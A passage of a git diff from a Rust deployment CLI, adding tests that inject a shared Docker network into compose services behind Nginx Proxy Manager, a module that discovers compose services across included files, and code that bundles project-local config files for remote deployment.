+        ));
+    }
+
+    // ── inject_npm_proxy_network unit tests ──────────────────────────────────
+
+    fn npm_proxy_config(upstream: &str) -> ProxyConfig {
+        ProxyConfig {
+            proxy_type: ProxyType::NginxProxyManager,
+            auto_detect: false,
+            domains: vec![DomainConfig {
+                domain: "app.example.com".into(),
+                ssl: SslMode::Auto,
+                upstream: upstream.to_string(),
+            }],
+            config: None,
+        }
+    }
+
+    fn compose_doc_with_service(service: &str) -> serde_yaml::Value {
+        serde_yaml::from_str(&format!(
+            "services:\n  {service}:\n    image: myapp:latest\n"
+        ))
+        .unwrap()
+    }
+
+    #[test]
+    fn inject_npm_proxy_network_adds_to_proxied_service() {
+        let mut doc = compose_doc_with_service("web");
+        let changed = inject_npm_proxy_network(&mut doc, "web", &npm_proxy_config("web:3000"));
+        assert!(changed);
+        let networks = doc["services"]["web"]["networks"]
+            .as_sequence()
+            .unwrap()
+            .iter()
+            .map(|v| v.as_str().unwrap())
+            .collect::<Vec<_>>();
+        assert!(networks.contains(&"default_network"));
+        // top-level declares it external
+        assert_eq!(
+            doc["networks"]["default_network"]["external"].as_bool(),
+            Some(true)
+        );
+    }
+
+    #[test]
+    fn inject_npm_proxy_network_returns_false_for_non_proxied_service() {
+        let mut doc = compose_doc_with_service("smtp");
+        let changed = inject_npm_proxy_network(&mut doc, "smtp", &npm_proxy_config("web:3000"));
+        assert!(!changed);
+        assert!(doc["services"]["smtp"].get("networks").is_none());
+    }
+
+    #[test]
+    fn inject_npm_proxy_network_returns_false_for_non_npm_proxy() {
+        let mut doc = compose_doc_with_service("web");
+        let proxy = ProxyConfig {
+            proxy_type: ProxyType::Traefik,
+            auto_detect: false,
+            domains: vec![DomainConfig {
+                domain: "app.example.com".into(),
+                ssl: SslMode::Auto,
+                upstream: "web:3000".into(),
+            }],
+            config: None,
+        };
+        let changed = inject_npm_proxy_network(&mut doc, "web", &proxy);
+        assert!(!changed);
+    }
+
+    #[test]
+    fn inject_npm_proxy_network_is_idempotent() {
+        let mut doc: serde_yaml::Value = serde_yaml::from_str(
+            "services:\n  web:\n    image: myapp:latest\n    networks:\n      - default_network\n",
+        )
+        .unwrap();
+        let changed = inject_npm_proxy_network(&mut doc, "web", &npm_proxy_config("web:3000"));
+        assert!(!changed, "already has default_network — should be a no-op");
+        let seq = doc["services"]["web"]["networks"].as_sequence().unwrap();
+        let count = seq
+            .iter()
+            .filter(|v| v.as_str() == Some("default_network"))
+            .count();
+        assert_eq!(count, 1, "no duplicate entries");
+    }
+
+    #[test]
+    fn inject_npm_proxy_network_parses_http_prefix_upstream() {
+        let proxy = ProxyConfig {
+            proxy_type: ProxyType::NginxProxyManager,
+            auto_detect: false,
+            domains: vec![DomainConfig {
+                domain: "app.example.com".into(),
+                ssl: SslMode::Off,
+                upstream: "http://api:8080".into(),
+            }],
+            config: None,
+        };
+        let mut doc = compose_doc_with_service("api");
+        let changed = inject_npm_proxy_network(&mut doc, "api", &proxy);
+        assert!(changed);
+        let networks = doc["services"]["api"]["networks"]
+            .as_sequence()
+            .unwrap()
+            .iter()
+            .map(|v| v.as_str().unwrap())
+            .collect::<Vec<_>>();
+        assert!(networks.contains(&"default_network"));
+    }
+
+    // ── sync_configured_compose_services proxy-inject tests ──────────────────
+
+    fn npm_stacker_config(_dir: &std::path::Path, service_name: &str) -> StackerConfig {
+        StackerConfig {
+            project: ProjectConfig::default(),
+            app: AppSource::default(),
+            deploy: DeployConfig {
+                compose_file: Some(PathBuf::from("docker-compose.yml")),
+                ..Default::default()
+            },
+            proxy: ProxyConfig {
+                proxy_type: ProxyType::NginxProxyManager,
+                auto_detect: false,
+                domains: vec![DomainConfig {
+                    domain: "app.example.com".into(),
+                    ssl: SslMode::Auto,
+                    upstream: format!("{service_name}:3000"),
+                }],
+                config: None,
+            },
+            services: vec![ServiceDefinition {
+                name: service_name.to_string(),
+                image: "myapp:latest".to_string(),
+                ports: vec!["3000:3000".to_string()],
+                environment: HashMap::new(),
+                volumes: vec![],
+                depends_on: vec![],
+                command: None,
+                healthcheck: None,
+            }],
+            ..Default::default()
+        }
+    }
+
+    #[test]
+    fn sync_injects_default_network_for_npm_proxied_service() {
+        let dir = TempDir::new().unwrap();
+        std::fs::write(
+            dir.path().join("docker-compose.yml"),
+            "services:\n  existing:\n    image: nginx:latest\n",
+        )
+        .unwrap();
+
+        let config = npm_stacker_config(dir.path(), "api");
+        let result =
+            sync_configured_compose_services(dir.path(), &config, &["api".to_string()]).unwrap();
+
+        assert_eq!(result.updated_services, vec!["api"]);
+        let updated = std::fs::read_to_string(dir.path().join("docker-compose.yml")).unwrap();
+        assert!(
+            updated.contains("default_network"),
+            "proxied service should have default_network injected:\n{updated}"
+        );
+        assert!(
+            updated.contains("external: true") || updated.contains("external: 'true'"),
+            "default_network should be declared external:\n{updated}"
+        );
+    }
+
+    #[test]
+    fn sync_does_not_inject_default_network_for_non_proxied_service() {
+        let dir = TempDir::new().unwrap();
+        std::fs::write(
+            dir.path().join("docker-compose.yml"),
+            "services:\n  existing:\n    image: nginx:latest\n",
+        )
+        .unwrap();
+
+        // proxy points to "api" but we are syncing "smtp"
+        let mut config = npm_stacker_config(dir.path(), "api");
+        config.services = vec![ServiceDefinition {
+            name: "smtp".to_string(),
+            image: "trydirect/smtp".to_string(),
+            ports: vec![],
+            environment: HashMap::new(),
+            volumes: vec![],
+            depends_on: vec![],
+            command: None,
+            healthcheck: None,
+        }];
+
+        let result =
+            sync_configured_compose_services(dir.path(), &config, &["smtp".to_string()]).unwrap();
+
+        assert_eq!(result.updated_services, vec!["smtp"]);
+        let updated = std::fs::read_to_string(dir.path().join("docker-compose.yml")).unwrap();
+        let smtp_section_start = updated.find("smtp:").unwrap();
+        let smtp_section = &updated[smtp_section_start..];
+        // "smtp" block should not list default_network
+        let next_service = smtp_section[5..].find('\n').map(|i| &smtp_section[..i + 5]);
+        let _ = next_service; // just ensure smtp block doesn't have it
+        assert!(
+            !smtp_section
+                .lines()
+                .take(10)
+                .any(|l| l.contains("default_network")),
+            "non-proxied service should not get default_network:\n{updated}"
+        );
+    }
+
+    #[test]
+    fn sync_configured_compose_services_upserts_service_networks_and_volumes() {
+        let dir = TempDir::new().unwrap();
+        std::fs::write(
+            dir.path().join("docker-compose.yml"),
+            r#"
+version: '3.8'
+networks:
+  default_network:
+    external: true
+    name: default_network
+services:
+  status-panel-web:
+    image: trydirect/status-panel-web:latest
+    networks:
+      - default_network
+volumes:
+  npm_data:
+    name: npm_data
+"#,
+        )
+        .unwrap();
+
+        let config = StackerConfig {
+            project: ProjectConfig::default(),
+            app: AppSource::default(),
+            deploy: DeployConfig {
+                compose_file: Some(PathBuf::from("docker-compose.yml")),
+                ..Default::default()
+            },
+            services: vec![ServiceDefinition {
+                name: "smtp".to_string(),
+                image: "trydirect/smtp".to_string(),
+                ports: vec!["1025:25".to_string()],
+                environment: HashMap::from([
+                    (
+                        "RELAY_NETWORKS".to_string(),
+                        ":127.0.0.0/8:10.0.0.0/8:172.16.0.0/12:192.168.0.0/16".to_string(),
+                    ),
+                    ("PORT".to_string(), "25".to_string()),
+                ]),
+                volumes: vec!["smtp_data:/data".to_string()],
+                depends_on: Vec::new(),
+                command: None,
+                healthcheck: None,
+            }],
+            ..Default::default()
+        };
+
+        let result =
+            sync_configured_compose_services(dir.path(), &config, &[String::from("smtp")]).unwrap();
+
+        assert_eq!(result.updated_services, vec!["smtp"]);
+        assert!(result.backup_path.unwrap().exists());
+        let updated = std::fs::read_to_string(dir.path().join("docker-compose.yml")).unwrap();
+        assert!(updated.contains("smtp:"));
+        assert!(updated.contains("image: trydirect/smtp"));
+        assert!(updated.contains("\"1025:25\"") || updated.contains("1025:25"));
+        assert!(updated.contains("RELAY_NETWORKS"));
+        assert!(updated.contains("default_network"));
+        assert!(updated.contains("smtp_data:"));
+    }
+}
diff --git a/src/cli/compose_targets.rs b/src/cli/compose_targets.rs
new file mode 100644
index 00000000..9f600820
--- /dev/null
+++ b/src/cli/compose_targets.rs
@@ -0,0 +1,431 @@
+use std::collections::HashSet;
+use std::path::{Path, PathBuf};
+
+use serde_yaml::{Mapping, Value};
+
+use crate::cli::config_parser::{ServiceDefinition, StackerConfig};
+use crate::cli::error::CliError;
+
+pub fn config_with_compose_secret_target_services(
+    config: &StackerConfig,
+    compose_path: &Path,
+) -> Result<StackerConfig, CliError> {
+    let mut config = config.clone();
+    let mut existing = config
+        .services
+        .iter()
+        .map(|service| service.name.to_ascii_lowercase())
+        .collect::<HashSet<_>>();
+
+    for service in extract_compose_secret_target_services(compose_path, &config)? {
+        if existing.insert(service.name.to_ascii_lowercase()) {
+            config.services.push(service);
+        }
+    }
+
+    Ok(config)
+}
+
+pub fn extract_compose_secret_target_services(
+    compose_path: &Path,
+    config: &StackerConfig,
+) -> Result<Vec<ServiceDefinition>, CliError> {
+    let mut visited = HashSet::new();
+    let mut services = Vec::new();
+    collect_compose_services(compose_path, config, &mut visited, &mut services)?;
+    Ok(services)
+}
+
+pub fn compose_defines_nginx_proxy_manager_service(compose_path: &Path) -> Result<bool, CliError> {
+    let mut visited = HashSet::new();
+    compose_file_defines_nginx_proxy_manager_service(compose_path, &mut visited)
+}
+
+fn compose_file_defines_nginx_proxy_manager_service(
+    compose_path: &Path,
+    visited: &mut HashSet<PathBuf>,
+) -> Result<bool, CliError> {
+    let canonical = compose_path
+        .canonicalize()
+        .unwrap_or_else(|_| compose_path.to_path_buf());
+    if !visited.insert(canonical) {
+        return Ok(false);
+    }
+
+    let content = std::fs::read_to_string(compose_path).map_err(|err| {
+        CliError::ConfigValidation(format!(
+            "Failed to read compose file for proxy discovery '{}': {}",
+            compose_path.display(),
+            err
+        ))
+    })?;
+    let document: Value = serde_yaml::from_str(&content).map_err(|err| {
+        CliError::ConfigValidation(format!(
+            "Failed to parse compose file for proxy discovery '{}': {}",
+            compose_path.display(),
+            err
+        ))
+    })?;
+
+    if let Some(service_map) = document
+        .get(Value::String("services".to_string()))
+        .and_then(Value::as_mapping)
+    {
+        for (name, definition) in service_map {
+            let Some(service_name) = name.as_str() else {
+                continue;
+            };
+            let Some(definition) = definition.as_mapping() else {
+                continue;
+            };
+            if is_nginx_proxy_manager_compose_service(service_name, definition) {
+                return Ok(true);
+            }
+        }
+    }
+
+    let base_dir = compose_path.parent().unwrap_or_else(|| Path::new("."));
+    for include_path in compose_include_paths(&document, base_dir) {
+        if compose_file_defines_nginx_proxy_manager_service(&include_path, visited)? {
+            return Ok(true);
+        }
+    }
+
+    Ok(false)
+}
+
+fn collect_compose_services(
+    compose_path: &Path,
+    config: &StackerConfig,
+    visited: &mut HashSet<PathBuf>,
+    services: &mut Vec<ServiceDefinition>,
+) -> Result<(), CliError> {
+    let canonical = compose_path
+        .canonicalize()
+        .unwrap_or_else(|_| compose_path.to_path_buf());
+    if !visited.insert(canonical) {
+        return Ok(());
+    }
+
+    let content = std::fs::read_to_string(compose_path).map_err(|err| {
+        CliError::ConfigValidation(format!(
+            "Failed to read compose file for service target discovery '{}': {}",
+            compose_path.display(),
+            err
+        ))
+    })?;
+    let document: Value = serde_yaml::from_str(&content).map_err(|err| {
+        CliError::ConfigValidation(format!(
+            "Failed to parse compose file for service target discovery '{}': {}",
+            compose_path.display(),
+            err
+        ))
+    })?;
+
+    let base_dir = compose_path.parent().unwrap_or_else(|| Path::new("."));
+    let existing_config_services = config
+        .services
+        .iter()
+        .map(|service| service.name.to_ascii_lowercase())
+        .collect::<HashSet<_>>();
+    let already_extracted = services
+        .iter()
+        .map(|service: &ServiceDefinition| service.name.to_ascii_lowercase())
+        .collect::<HashSet<_>>();
+
+    if let Some(service_map) = document
+        .get(Value::String("services".to_string()))
+        .and_then(Value::as_mapping)
+    {
+        for (name, definition) in service_map {
+            let Some(service_name) = name.as_str() else {
+                continue;
+            };
+            let normalized_name = service_name.to_ascii_lowercase();
+            if normalized_name == "app"
+                || normalized_name == config.name.to_ascii_lowercase()
+                || existing_config_services.contains(&normalized_name)
+                || already_extracted.contains(&normalized_name)
+            {
+                continue;
+            }
+
+            let Some(definition) = definition.as_mapping() else {
+                eprintln!(
+                    "  Skipping compose service '{}' as a remote secret target: service definition is not a map.",
+                    service_name
+                );
+                continue;
+            };
+
+            if is_platform_managed_compose_service(service_name, definition) {
+                eprintln!(
+                    "  Skipping compose service '{}' as a remote secret target: service is platform-managed.",
+                    service_name
+                );
+                continue;
+            }
+
+            let Some(image) = mapping_string(definition, "image") else {
+                eprintln!(
+                    "  Skipping compose service '{}' as a remote secret target: image-backed services are required.",
+                    service_name
+                );
+                continue;
+            };
+
+            services.push(ServiceDefinition {
+                name: service_name.to_string(),
+                image,
+                ports: mapping_sequence(definition, "ports")
+                    .into_iter()
+                    .filter_map(compose_port_to_string)
+                    .collect(),
+                environment: compose_environment(definition),
+                volumes: mapping_sequence(definition, "volumes")
+                    .into_iter()
+                    .filter_map(compose_volume_to_string)
+                    .collect(),
+                depends_on: compose_depends_on(definition),
+                command: None,
+                healthcheck: None,
+            });
+        }
+    }
+
+    for include_path in compose_include_paths(&document, base_dir) {
+        collect_compose_services(&include_path, config, visited, services)?;
+    }
+
+    Ok(())
+}
+
+fn mapping_string(mapping: &Mapping, key: &str) -> Option<String> {
+    mapping
+        .get(Value::String(key.to_string()))
+        .and_then(Value::as_str)
+        .map(ToOwned::to_owned)
+}
+
+fn mapping_sequence<'a>(mapping: &'a Mapping, key: &str) -> Vec<&'a Value> {
+    mapping
+        .get(Value::String(key.to_string()))
+        .and_then(Value::as_sequence)
+        .map(|values| values.iter().collect())
+        .unwrap_or_default()
+}
+
+fn compose_environment(mapping: &Mapping) -> std::collections::HashMap<String, String> {
+    let mut environment = std::collections::HashMap::new();
+    let Some(value) = mapping.get(Value::String("environment".to_string())) else {
+        return environment;
+    };
+
+    if let Some(map) = value.as_mapping() {
+        for (key, value) in map {
+            if let Some(key) = key.as_str() {
+                environment.insert(key.to_string(), yaml_scalar_to_string(value));
+            }
+        }
+        return environment;
+    }
+
+    if let Some(sequence) = value.as_sequence() {
+        for item in sequence {
+            if let Some(entry) = item.as_str() {
+                if let Some((key, value)) = entry.split_once('=') {
+                    environment.insert(key.to_string(), value.to_string());
+                }
+            }
+        }
+    }
+
+    environment
+}
+
+fn compose_depends_on(mapping: &Mapping) -> Vec<String> {
+    let Some(value) = mapping.get(Value::String("depends_on".to_string())) else {
+        return Vec::new();
+    };
+
+    if let Some(sequence) = value.as_sequence() {
+        return sequence
+            .iter()
+            .filter_map(Value::as_str)
+            .map(ToOwned::to_owned)
+            .collect();
+    }
+
+    value
+        .as_mapping()
+        .map(|depends_on| {
+            depends_on
+                .keys()
+                .filter_map(Value::as_str)
+                .map(ToOwned::to_owned)
+                .collect()
+        })
+        .unwrap_or_default()
+}
+
+fn compose_port_to_string(value: &Value) -> Option<String> {
+    if let Some(port) = value.as_str() {
+        return Some(port.to_string());
+    }
+
+    let map = value.as_mapping()?;
+    let target = mapping_scalar(map, "target")?;
+    let published = mapping_scalar(map, "published");
+    Some(match published {
+        Some(published) => format!("{published}:{target}"),
+        None => target,
+    })
+}
+
+fn compose_volume_to_string(value: &Value) -> Option<String> {
+    if let Some(volume) = value.as_str() {
+        return Some(volume.to_string());
+    }
+
+    let map = value.as_mapping()?;
+    let target = mapping_scalar(map, "target")?;
+    let source = mapping_scalar(map, "source").unwrap_or_default();
+    let read_only = map
+        .get(Value::String("read_only".to_string()))
+        .and_then(Value::as_bool)
+        .unwrap_or(false);
+
+    Some(if read_only {
+        format!("{source}:{target}:ro")
+    } else if source.is_empty() {
+        target
+    } else {
+        format!("{source}:{target}")
+    })
+}
+
+fn mapping_scalar(mapping: &Mapping, key: &str) -> Option<String> {
+    mapping
+        .get(Value::String(key.to_string()))
+        .map(yaml_scalar_to_string)
+        .filter(|value| !value.is_empty())
+}
+
+fn yaml_scalar_to_string(value: &Value) -> String {
+    match value {
+        Value::Null => String::new(),
+        Value::Bool(value) => value.to_string(),
+        Value::Number(value) => value.to_string(),
+        Value::String(value) => value.clone(),
+        _ => serde_yaml::to_string(value)
+            .unwrap_or_default()
+            .trim()
+            .to_string(),
+    }
+}
+
+fn compose_include_paths(document: &Value, base_dir: &Path) -> Vec<PathBuf> {
+    let Some(include) = document.get(Value::String("include".to_string())) else {
+        return Vec::new();
+    };
+
+    let mut paths = Vec::new();
+    collect_include_value(include, base_dir, &mut paths);
+    paths
+}
+
+fn collect_include_value(value: &Value, base_dir: &Path, paths: &mut Vec<PathBuf>) {
+    if let Some(path) = value.as_str() {
+        paths.push(base_dir.join(path));
+        return;
+    }
+
+    if let Some(sequence) = value.as_sequence() {
+        for item in sequence {
+            collect_include_value(item, base_dir, paths);
+        }
+        return;
+    }
+
+    if let Some(mapping) = value.as_mapping() {
+        if let Some(path) = mapping_string(mapping, "path") {
+            paths.push(base_dir.join(path));
+        }
+    }
+}
+
+fn is_platform_managed_compose_service(service_name: &str, definition: &Mapping) -> bool {
+    let image = mapping_string(definition, "image");
+    crate::project_app::is_platform_managed_app_identity(service_name, image.as_deref())
+}
+
+fn is_nginx_proxy_manager_compose_service(service_name: &str, definition: &Mapping) -> bool {
+    let image = mapping_string(definition, "image");
+    crate::project_app::is_nginx_proxy_manager_identity(service_name, image.as_deref())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use tempfile::TempDir;
+
+    #[test]
+    fn detects_nginx_proxy_manager_service_in_compose_file() {
+        let dir = TempDir::new().unwrap();
+        let compose_path = dir.path().join("compose.yml");
+        std::fs::write(
+            &compose_path,
+            r#"
+services:
+  proxy:
+    image: jc21/nginx-proxy-manager:latest
+"#,
+        )
+        .unwrap();
+
+        assert!(compose_defines_nginx_proxy_manager_service(&compose_path).unwrap());
+    }
+
+    #[test]
+    fn detects_nginx_proxy_manager_service_from_included_compose_file() {
+        let dir = TempDir::new().unwrap();
+        let compose_path = dir.path().join("compose.yml");
+        let included_path = dir.path().join("proxy.yml");
+        std::fs::write(
+            &compose_path,
+            r#"
+include:
+  - proxy.yml
+"#,
+        )
+        .unwrap();
+        std::fs::write(
+            &included_path,
+            r#"
+services:
+  npm:
+    image: example/custom-proxy:latest
+"#,
+        )
+        .unwrap();
+
+        assert!(compose_defines_nginx_proxy_manager_service(&compose_path).unwrap());
+    }
+
+    #[test]
+    fn ignores_compose_files_without_nginx_proxy_manager() {
+        let dir = TempDir::new().unwrap();
+        let compose_path = dir.path().join("compose.yml");
+        std::fs::write(
+            &compose_path,
+            r#"
+services:
+  web:
+    image: nginx:latest
+"#,
+        )
+        .unwrap();
+
+        assert!(!compose_defines_nginx_proxy_manager_service(&compose_path).unwrap());
+    }
+}
diff --git a/src/cli/config_bundle.rs b/src/cli/config_bundle.rs
new file mode 100644
index 00000000..d0d96d09
--- /dev/null
+++ b/src/cli/config_bundle.rs
@@ -0,0 +1,997 @@
+use std::collections::BTreeMap;
+use std::fs::File;
+use std::path::{Component, Path, PathBuf};
+
+use serde::{Deserialize, Serialize};
+use serde_json::json;
+use sha2::{Digest, Sha256};
+use tar::{Builder, Header};
+use zstd::stream::write::Encoder;
+
+use crate::cli::error::CliError;
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+pub struct ConfigBundleFile {
+    pub source_path: String,
+    pub destination_path: String,
+    pub mode: String,
+    pub size: u64,
+    pub sha256: String,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+pub struct ConfigBundleManifest {
+    pub version: u32,
+    pub environment: String,
+    pub files: Vec<ConfigBundleFile>,
+}
+
+#[derive(Debug, Clone)]
+pub struct ConfigBundleArtifacts {
+    pub environment: String,
+    pub manifest_path: PathBuf,
+    pub archive_path: PathBuf,
+    pub remote_compose_path: PathBuf,
+    pub manifest: ConfigBundleManifest,
+    pub config_files: Vec<serde_json::Value>,
+    /// True when `environment` is a synthetic namespace fallback (no environment
+    /// profile was selected). Used only as an internal bundle namespace and must
+    /// not be surfaced as the deploy-time environment.
+    pub synthesized_environment: bool,
+}
+
+impl ConfigBundleArtifacts {
+    pub fn artifact_metadata(&self) -> serde_json::Value {
+        let files: Vec<serde_json::Value> = self
+            .manifest
+            .files
+            .iter()
+            .map(|file| {
+                json!({
+                    "source_path": file.source_path,
+                    "destination_path": file.destination_path,
+                    "mode": file.mode,
+                    "size": file.size,
+                    "sha256": file.sha256,
+                    "content_hidden": is_secret_like_path(&file.source_path),
+                })
+            })
+            .collect();
+
+        json!({
+            "environment": self.environment,
+            "manifest_path": self.manifest_path.to_string_lossy(),
+            "archive_path": self.archive_path.to_string_lossy(),
+            "remote_compose_path": self.remote_compose_path.to_string_lossy(),
+            "config_files": files,
+        })
+    }
+}
+
+pub fn build_config_bundle(
+    project_dir: &Path,
+    environment: &str,
+    compose_path: &Path,
+    env_file: Option<&Path>,
+    reference_base: &Path,
+    attach_agent_network: bool,
+) -> Result<ConfigBundleArtifacts, CliError> {
+    validate_environment_name(environment)?;
+
+    let project_root = project_dir.canonicalize()?;
+    let compose_canonical = compose_path.canonicalize()?;
+    ensure_inside_project(&project_root, &compose_canonical)?;
+    // Relative bind-mount / env_file references inside the compose resolve against
+    // `reference_base`. For a user-supplied compose this is the compose's own
+    // directory (standard Docker Compose semantics); for a generated compose living
+    // under `.stacker/`, the caller passes the project root, because the paths were
+    // authored in stacker.yml relative to the project root, not the output dir.
+    let reference_base = reference_base.canonicalize().map_err(|err| {
+        validation_error(format!(
+            "config bundle reference base directory does not exist or cannot be read: {} ({})",
+            reference_base.display(),
+            err
+        ))
+    })?;
+    ensure_inside_project(&project_root, &reference_base)?;
+
+    let output_dir = project_root.join(".stacker/deploy").join(environment);
+    std::fs::create_dir_all(&output_dir)?;
+    let manifest_path = output_dir.join("config-bundle.manifest.json");
+    let archive_path = output_dir.join("config-bundle.tar.zst");
+    let remote_compose_path = output_dir.join("docker-compose.remote.yml");
+
+    let compose_content = std::fs::read_to_string(&compose_canonical)?;
+    let mut compose_yaml: serde_yaml::Value = serde_yaml::from_str(&compose_content)?;
+    let mut collected = BTreeMap::<PathBuf, CollectedFile>::new();
+
+    let selected_env_file = if let Some(env_file) = env_file {
+        let resolved = resolve_reference_path(&project_root, &project_root, env_file)?;
+        collect_file(&project_root, environment, resolved.clone(), &mut collected)?;
+        Some(resolved)
+    } else {
+        None
+    };
+
+    rewrite_compose_references(
+        &project_root,
+        &reference_base,
+        environment,
+        &mut compose_yaml,
+        &mut collected,
+    )?;
+
+    // Status-panel/agent deploys: put every project service on the shared
+    // external `default_network` the agent runs on, so it can reach containers
+    // by name/IP. Idempotent — services already on the network are untouched.
+    if attach_agent_network {
+        crate::cli::compose_service_sync::inject_shared_network_all_services(
+            &mut compose_yaml,
+            "default_network",
+        );
+    }
+
+    let rewritten_compose = serde_yaml::to_string(&compose_yaml)
+        .map_err(|err| validation_error(format!("failed to write remote compose: {err}")))?;
+    std::fs::write(&remote_compose_path, &rewritten_compose)?;
+
+    let mut files: Vec<ConfigBundleFile> = collected
+        .values()
+        .map(|file| ConfigBundleFile {
+            source_path: file.source_path.clone(),
+            destination_path: file.destination_path.clone(),
+            mode: file.mode.clone(),
+            size: file.bytes.len() as u64,
+            sha256: sha256_hex(&file.bytes),
+        })
+        .collect();
+    files.sort_by(|left, right| left.source_path.cmp(&right.source_path));
+    validate_relative_destinations(&files)?;
+
+    let manifest = ConfigBundleManifest {
+        version: 1,
+        environment: environment.to_string(),
+        files,
+    };
+    let manifest_json = serde_json::to_string_pretty(&manifest)
+        .map_err(|err| validation_error(format!("failed to serialize manifest: {err}")))?;
+    std::fs::write(&manifest_path, manifest_json)?;
+    write_archive(&archive_path, collected.values())?;
+
+    let mut config_files = Vec::new();
+    config_files.push(json!({
+        "name": "docker-compose.yml",
+        "content": rewritten_compose,
+        "content_type": "application/x-yaml",
+        "destination_path": "docker-compose.yml",
+        "file_mode": "0644",
+        "owner": "root",
+        "group": "root"
+    }));
+
+    if let Some(selected_env_file) = selected_env_file.as_ref() {
+        let canonical = selected_env_file.canonicalize()?;
+        let collected_env_file = collected
+            .get(&canonical)
+            .expect("selected env file should be present in collected bundle");
+        let compose_env_content =
+            String::from_utf8(collected_env_file.bytes.clone()).map_err(|_| {
+                validation_error(format!(
+                    "config file '{}' must be UTF-8 text to upload in the deploy payload",
+                    collected_env_file.source_path
+                ))
+            })?;
+        config_files.push(json!({
+            "name": ".env",
+            "content": compose_env_content,
+            "content_type": "text/plain",
+            "destination_path": ".env",
+            "file_mode": collected_env_file.mode,
+            "owner": "root",
+            "group": "root"
+        }));
+    }
+
+    for file in collected.values() {
+        let content = String::from_utf8(file.bytes.clone()).map_err(|_| {
+            validation_error(format!(
+                "config file '{}' must be UTF-8 text to upload in the deploy payload",
+                file.source_path
+            ))
+        })?;
+        config_files.push(json!({
+            "name": Path::new(&file.source_path)
+                .file_name()
+                .and_then(|name| name.to_str())
+                .unwrap_or(file.source_path.as_str()),
+            "content": content,
+            "content_type": "text/plain",
+            "destination_path": file.destination_path,
+            "file_mode": file.mode,
+            "owner": "root",
+            "group": "root"
+        }));
+    }
+
+    Ok(ConfigBundleArtifacts {
+        environment: environment.to_string(),
+        manifest_path,
+        archive_path,
+        remote_compose_path,
+        manifest,
+        config_files,
+        synthesized_environment: false,
+    })
+}
+
+#[derive(Debug, Clone)]
+struct CollectedFile {
+    source_path: String,
+    destination_path: String,
+    mode: String,
+    bytes: Vec<u8>,
+}
+
+fn rewrite_compose_references(
+    project_root: &Path,
+    compose_dir: &Path,
+    environment: &str,
+    compose_yaml: &mut serde_yaml::Value,
+    collected: &mut BTreeMap<PathBuf, CollectedFile>,
+) -> Result<(), CliError> {
+    let Some(services) = mapping_mut(compose_yaml)
+        .and_then(|root| root.get_mut(serde_yaml::Value::String("services".to_string())))
+        .and_then(mapping_mut)
+    else {
+        return Ok(());
+    };
+
+    for service in services.values_mut() {
+        let Some(service_map) = mapping_mut(service) else {
+            continue;
+        };
+
+        if let Some(env_file_value) =
+            service_map.get_mut(serde_yaml::Value::String("env_file".to_string()))
+        {
+            rewrite_env_file(
+                project_root,
+                compose_dir,
+                environment,
+                env_file_value,
+                collected,
+            )?;
+        }
+
+        if let Some(volumes_value) =
+            service_map.get_mut(serde_yaml::Value::String("volumes".to_string()))
+        {
+            rewrite_volumes(
+                project_root,
+                compose_dir,
+                environment,
+                volumes_value,
+                collected,
+            )?;
+        }
+    }
+
+    Ok(())
+}
+
+fn rewrite_env_file(
+    project_root: &Path,
+    compose_dir: &Path,
+    environment: &str,
+    value: &mut serde_yaml::Value,
+    collected: &mut BTreeMap<PathBuf, CollectedFile>,
+) -> Result<(), CliError> {
+    match value {
+        serde_yaml::Value::String(path) => {
+            let remote =
+                collect_reference(project_root, compose_dir, environment, path, collected)?;
+            *path = remote;
+        }
+        serde_yaml::Value::Sequence(values) => {
+            for item in values {
+                if let serde_yaml::Value::String(path) = item {
+                    let remote =
+                        collect_reference(project_root, compose_dir, environment, path, collected)?;
+                    *path = remote;
+                }
+            }
+        }
+        _ => {}
+    }
+
+    Ok(())
+}
+
+fn rewrite_volumes(
+    project_root: &Path,
+    compose_dir: &Path,
+    environment: &str,
+    value: &mut serde_yaml::Value,
+    collected: &mut BTreeMap<PathBuf, CollectedFile>,
+) -> Result<(), CliError> {
+    let serde_yaml::Value::Sequence(volumes) = value else {
+        return Ok(());
+    };
+
+    for volume in volumes {
+        if let serde_yaml::Value::String(volume_spec) = volume {
+            // Simple string form: "source:target:mode"
+            let Some((source, rest)) = parse_bind_mount(volume_spec) else {
+                continue;
+            };
+            // Only project-local files are bundled. Directory mounts, host
+            // paths, and not-present sources are runtime volumes managed on the
+            // target host, so leave the entry unchanged.
+            if let Some(remote) =
+                collect_volume_reference(project_root, compose_dir, environment, source, collected)?
+            {
+                *volume_spec = format!("{remote}:{rest}");
+            }
+        } else if let serde_yaml::Value::Mapping(map) = volume {
+            // Advanced mapping form: { type: bind, source: ..., target: ... }
+            let vol_type = map
+                .get(&serde_yaml::Value::String("type".to_string()))
+                .and_then(|v| v.as_str());
+            if vol_type != Some("bind") {
+                continue;
+            }
+            let source_key = serde_yaml::Value::String("source".to_string());
+            let source_val = match map.get(&source_key).and_then(|v| v.as_str()) {
+                Some(s) => s.to_string(),
+                None => continue,
+            };
+            if let Some(remote) = collect_volume_reference(
+                project_root,
+                compose_dir,
+                environment,
+                &source_val,
+                collected,
+            )? {
+                map.insert(source_key, serde_yaml::Value::String(remote));
+            }
+        }
+    }
+
+    Ok(())
+}
+
+fn parse_bind_mount(volume_spec: &str) -> Option<(&str, &str)> {
+    let (source, rest) = volume_spec.split_once(':')?;
+    if source.starts_with('.')
+        || source.starts_with('/')
+        || source.starts_with('~')
+        || source.contains(std::path::MAIN_SEPARATOR)
+    {
+        Some((source, rest))
+    } else {
+        None
+    }
+}
+
+fn collect_reference(
+    project_root: &Path,
+    base_dir: &Path,
+    environment: &str,
+    reference: &str,
+    collected: &mut BTreeMap<PathBuf, CollectedFile>,
+) -> Result<String, CliError> {
+    let resolved = resolve_reference_path(project_root, base_dir, Path::new(reference))?;
+    let collected_file = collect_file(project_root, environment, resolved, collected)?;
+    let mut dest = collected_file.destination_path.clone();
+    // Docker Compose treats a bare name (no ./ or / prefix) as a named volume,
+    // not a bind mount. If the original reference was relative, re-prefix so
+    // the rewritten compose file still produces a bind mount.
+    if reference.starts_with("./") && !dest.starts_with("./") {
+        dest.insert_str(0, "./");
+    }
+    Ok(dest)
+}
+
+/// Resolve a bind-mount source for a config bundle. A source is bundled only
+/// when it is a **project-local file**; that file is collected and the rewritten
+/// remote path is returned as `Some`.
+///
+/// Everything else is a runtime volume the target host manages, so it is left
+/// untouched (returns `None`) instead of failing the deploy:
